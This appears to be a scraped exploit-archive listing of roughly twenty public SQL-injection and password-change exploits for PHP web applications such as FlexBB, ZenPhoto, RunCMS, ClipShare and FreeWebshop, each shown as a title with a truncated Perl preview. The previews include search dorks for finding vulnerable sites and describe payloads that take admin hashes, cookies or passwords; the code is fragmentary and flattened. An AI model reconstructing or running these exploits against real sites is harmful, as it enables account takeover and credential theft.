PHP Webquest 2.6 - 'id_actividad' SQL Injection

!/usr/bin/perl PHP Webquest 2.6 Remote SQL Injection Exploit coded by ka0x - D.O.M TEAM 2008 we are: ka0x, an0de, xarnuz download spanish: download: http://phpwebquest.org/descargas/phpwebquest-2.6-espanol.zip download english: http://phpwebquest.org/descargas/phpwebquest-2.6-international.zip vu...

PHP Webquest 2.6 - id_actividad SQL Injection

PHP Webquest 2.6 - idactividad SQL Injection !/usr/bin/perl PHP Webquest 2.6 Remote SQL Injection Exploit coded by ka0x - D.O.M TEAM 2008 we are: ka0x, an0de, xarnuz download spanish: download: http://phpwebquest.org/descargas/phpwebquest-2.6-espanol.zip download english:...

eggblog310-sql.txt

!/usr/bin/perl use Tk; use Tk::BrowseEntry; use Tk::DialogBox; use LWP::UserAgent; $mw = new MainWindowtitle = "UnderWHAT?!" ; $mw-geometry '420x343' ; $mw-resizable0,0; $mw-Label-text = '', -font = 'Verdana 8',-foreground='red'-pack; $mw-Label-text = 'eggblog 'Tahoma 7...

FlexBB 0.6.3 - Cookies SQL Injection

FlexBB 0.6.3 - Cookies SQL Injection !/usr/bin/perl use Tk; use Tk::BrowseEntry; use Tk::DialogBox; use LWP::UserAgent; $mw = new MainWindowtitle = "UnderWHAT?!" ; $mw-geometry '420x343' ; $mw-resizable0,0; $mw-Label-text = '', -font = 'Verdana 8',-foreground='red'-pack; $mw-Label-text = 'FlexBB...

FlexBB <= 0.6.3 Cookies Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ==================================================== FlexBB "UnderWHAT?!" ; $mw-geometry '420x343' ; $mw-resizable0,0; $mw-Label-text = '', -font = 'Verdana 8',-foreground='red'-pack; $mw-Label-text = 'FlexBB 'Tahoma 7...

RunCMS Newbb_plus 0.92 - Client IP SQL Injection

RunCMS Newbbplus 0.92 - Client IP SQL Injection !/usr/bin/perl use Tk; use Tk::BrowseEntry; use Tk::DialogBox; use LWP::UserAgent; $mw = new MainWindowtitle = "UnderWHAT?!" ; $mw-geometry '420x383' ; $mw-resizable0,0; $mw-Label-text = '', -font = 'Verdana 8',-foreground='red'-pack; $mw-Label-text...

ClipShare 2.6 - Remote User Password Change

ClipShare 2.6 - Remote User Password Change !/usr/bin/perl -w priv8 Pr0metheuS Exploit Name: Clipshare Remote User Password Change Exploit Version Script: Clipshare 2.6 Dork: "Powered by Clipshare" EnjoY print "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-"; print "\nClipshare 2.6 Remote User...

ClipShare 2.6 - Remote User Password Change

!/usr/bin/perl -w priv8 Pr0metheuS Exploit Name: Clipshare Remote User Password Change Exploit Version Script: Clipshare 2.6 Dork: "Powered by Clipshare" EnjoY print "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-"; print "\nClipshare 2.6 Remote User Passord Change Exploit\n"; print "\nBy...

ZenPhoto 1.1.3 - 'rss.php?albumnr' SQL Injection

!/usr/bin/perl -w Zenphoto 1.1.3 SQL Injection Exploit Discovered by: Silentz Payload: Admin Username & Hash Retrieval Website: http://www.w4ck1ng.com Vulnerable Code rss.php: $albumnr = $GETalbumnr; if $albumnr != "" $sql = "SELECT FROM ". prefix"images" ." WHERE albumid = $albumnr AND show = 1...

zenphoto-sql.txt

!/usr/bin/perl -w Zenphoto 1.1.3 SQL Injection Exploit Discovered by: Silentz Payload: Admin Username & Hash Retrieval Website: http://www.w4ck1ng.com Vulnerable Code rss.php: $albumnr = $GETalbumnr; if $albumnr != "" $sql = "SELECT FROM ". prefix"images" ." WHERE albumid = $albumnr AND show = 1...

WebPortal CMS 0.6.0 - 'index.php' SQL Injection

!/usr/bin/perl -w WebPortal CMS If we select an inesistent id of a mod, it'll try to include it. So we have a warning error with the hash!. use LWP::UserAgent; if @ARGV new or die "-LWP::UserAgent error.\n"; $b-agent'Mozilla/4.0 compatible; MSIE 7.0; Windows NT 5.1'; print "+Exploiting.\n"; $host...

CCMS 3.1 Demo Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl Found by Pr0metheuS Coded by Pr0metheuS Gr33tz-Team Dork : intitle:"CCMS v3.1 Demo PW" print "\n"; print "-=-=-=-=-=-=+-=-=-=-=-=-=-+-=-=-=-=-=|\n"; print "-=-=-=-=-=-=+CCMS Exploit...+-=-=-=-=|\n"; print "-=-=-=-=-=-=+Remote MD5 Hash+-=-=-=-=|\n"...

CustomCMS 3.1 - vars.php SQL Injection

CustomCMS 3.1 - vars.php SQL Injection source: https://www.securityfocus.com/bid/27069/info CustomCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromis...

CCMS 3.1 Demo - SQL Injection

!/usr/bin/perl Found by Pr0metheuS Coded by Pr0metheuS Gr33tz-Team Dork : intitle:"CCMS v3.1 Demo PW" print "\n"; print "-=-=-=-=-=-=+-=-=-=-=-=-=-+-=-=-=-=-=|\n"; print "-=-=-=-=-=-=+CCMS Exploit...+-=-=-=-=|\n"; print "-=-=-=-=-=-=+Remote MD5 Hash+-=-=-=-=|\n"; print "-=-=-=-=-=-=+By...

CCMS 3.1 Demo - SQL Injection

CCMS 3.1 Demo - SQL Injection !/usr/bin/perl Found by Pr0metheuS Coded by Pr0metheuS Gr33tz-Team Dork : intitle:"CCMS v3.1 Demo PW" print "\n"; print "-=-=-=-=-=-=+-=-=-=-=-=-=-+-=-=-=-=-=|\n"; print "-=-=-=-=-=-=+CCMS Exploit...+-=-=-=-=|\n"; print "-=-=-=-=-=-=+Remote MD5 Hash+-=-=-=-=|\n"; pri...

runcms-sql.txt

// / RUNCMS 1.6 BLIND SQL Injection Exploit get Admin Cookie / // / exploit get admin cookie that can be used / / to login by pasting it into browser Opera / / and then get access to Admin session / / and change Admins password / / / // // / tested on RUNCMS english version 1.6 / // // / Date of...

RunCMS 1.6 - Get Admin Cookie Blind SQL Injection

RunCMS 1.6 - Get Admin Cookie Blind SQL Injection // / RUNCMS 1.6 BLIND SQL Injection Exploit get Admin Cookie / // / exploit get admin cookie that can be used / / to login by pasting it into browser Opera / / and then get access to Admin session / / and change Admins password / / / // // / teste...

phpzlink-sql.txt

!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV3 print "\n \'/ "; print "\n -.- "; print "\n -----------------oOO------OOo----------------"; print "\n | PHP ZLink v0.3 go.php Remote SQL Injection |"; print "\n | coded by DNX |"; print "\n...

FreeWebshop &lt;= 2.2.7 (cookie) Admin Password Grabber Exploit

No description provided by source. !/usr/bin/perl Indonesian Newhack Security Advisory ------------------------------------ FreeWebshop = 2.2.7 - cookie Admin Password Grabber Exploit Waktu : Dec 17 2007 04:50AM Software : FreeWebshop = 2.2.7 Vendor : http://www.freewebshop.org/ Demo Site :...

FreeWebShop 2.2.7 - 'cookie' Admin Password Grabber

!/usr/bin/perl Indonesian Newhack Security Advisory ------------------------------------ FreeWebshop = 2.2.7 - cookie Admin Password Grabber Exploit Waktu : Dec 17 2007 04:50AM Software : FreeWebshop = 2.2.7 Vendor : http://www.freewebshop.org/ Demo Site : http://www.freewebshop.org/demo/ Ditemuk...